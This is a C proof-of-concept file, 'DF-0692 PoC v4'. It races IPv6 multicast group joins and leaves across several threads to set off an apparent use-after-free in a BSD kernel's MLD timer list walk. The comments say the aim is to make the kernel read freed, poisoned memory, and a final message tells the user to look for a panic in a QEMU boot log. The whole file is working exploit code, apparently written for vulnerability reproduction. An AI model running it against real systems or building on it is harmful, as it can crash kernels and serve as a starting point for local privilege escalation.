DF-0692 / mld_trickle.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* * DF-0692 PoC (v4): steady-state trickle to keep freed in6m chunks poisoned * (debug.use_weird_array=1) for milliseconds at a time so fasttimeo's 200ms * walk has a real chance of reading step.i_in6m->le_next from a freed chunk. * * Main thread slowly joins fresh groups (cycling a large addr space so the * slab doesn't immediately LIFO-reuse the just-freed chunk for the same * group); NCPU workers slowly leave currently-joined groups. Steady state * keeps ~a few dozen live in6m in the list (timers_are_running=1) while a * steady trickle of frees poisons chunks that fasttimeo may walk into. * * Build: cc -O2 -pthread -o mld_trickle mld_trickle.c * Run : ./mld_trickle <duration_sec> */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <time.h> #ifndef IPV6_JOIN_GROUP #define IPV6_JOIN_GROUP 12 #endif #ifndef IPV6_LEAVE_GROUP #define IPV6_LEAVE_GROUP 13 #endif #define IFINDEX 1 #define SPACE 2000 /* distinct groups in the address space */ #define NWORK 6 static int g_sock = -1; static struct in6_addr g_space[SPACE]; static volatile char g_joined[SPACE]; /* 1 if currently joined */ static volatile int g_stop = 0; static volatile unsigned g_next = 0; static void mkaddr(struct in6_addr *a, unsigned idx) { memset(a, 0, sizeof(*a)); a->s6_addr[0] = 0xff; a->s6_addr[1] = 0x02; a->s6_addr[14] = (uint8_t)(0x10 + ((idx >> 8) & 0x3f)); a->s6_addr[15] = (uint8_t)(idx & 0xff); } static int sop(int opt, unsigned idx) { struct ipv6_mreq m = { .ipv6mr_multiaddr = g_space[idx], .ipv6mr_interface = IFINDEX }; return setsockopt(g_sock, IPPROTO_IPV6, opt, &m, sizeof(m)); } /* main thread: trickle joins to keep list alive + timers armed */ static void *joiner(void *arg) { (void)arg; while (!g_stop) { unsigned idx = (g_next++) % SPACE; if (!g_joined[idx]) { if (sop(IPV6_JOIN_GROUP, idx) == 0) g_joined[idx] = 1; } /* ~1 join per 3ms => ~330/s; freed chunks stay poisoned ~3ms avg */ struct timespec ts = { 0, 3 * 1000 * 1000 }; nanosleep(&ts, NULL); } return NULL; } /* worker: trickle leaves */ static void *leaver(void *arg) { unsigned seed = (unsigned)(uintptr_t)arg; while (!g_stop) { unsigned idx = (seed * 1103515245u + 12345u) % SPACE; seed = seed * 1103515245u + 7654321u; if (g_joined[idx]) { if (sop(IPV6_LEAVE_GROUP, idx) == 0) g_joined[idx] = 0; } struct timespec ts = { 0, 1 * 1000 * 1000 }; nanosleep(&ts, NULL); } return NULL; } int main(int argc, char **argv) { int dur = (argc > 1) ? atoi(argv[1]) : 180; pthread_t jth, lth[NWORK]; unsigned i; g_sock = socket(AF_INET6, SOCK_DGRAM, 0); if (g_sock < 0) { perror("socket"); return 1; } for (i = 0; i < SPACE; i++) mkaddr(&g_space[i], i); fprintf(stderr, "DF-0692 v4 trickle: SPACE=%d NWORK=%d dur=%ds\n", SPACE, NWORK, dur); pthread_create(&jth, NULL, joiner, NULL); for (i = 0; i < NWORK; i++) pthread_create(<h[i], NULL, leaver, (void *)(uintptr_t)(i + 1)); sleep(dur); g_stop = 1; pthread_join(jth, NULL); for (i = 0; i < NWORK; i++) pthread_join(lth[i], NULL); /* drain */ for (i = 0; i < SPACE; i++) if (g_joined[i]) sop(IPV6_LEAVE_GROUP, i); close(g_sock); fprintf(stderr, "no panic observed; check dfbsd-qemu/boot.log\n"); return 0; } |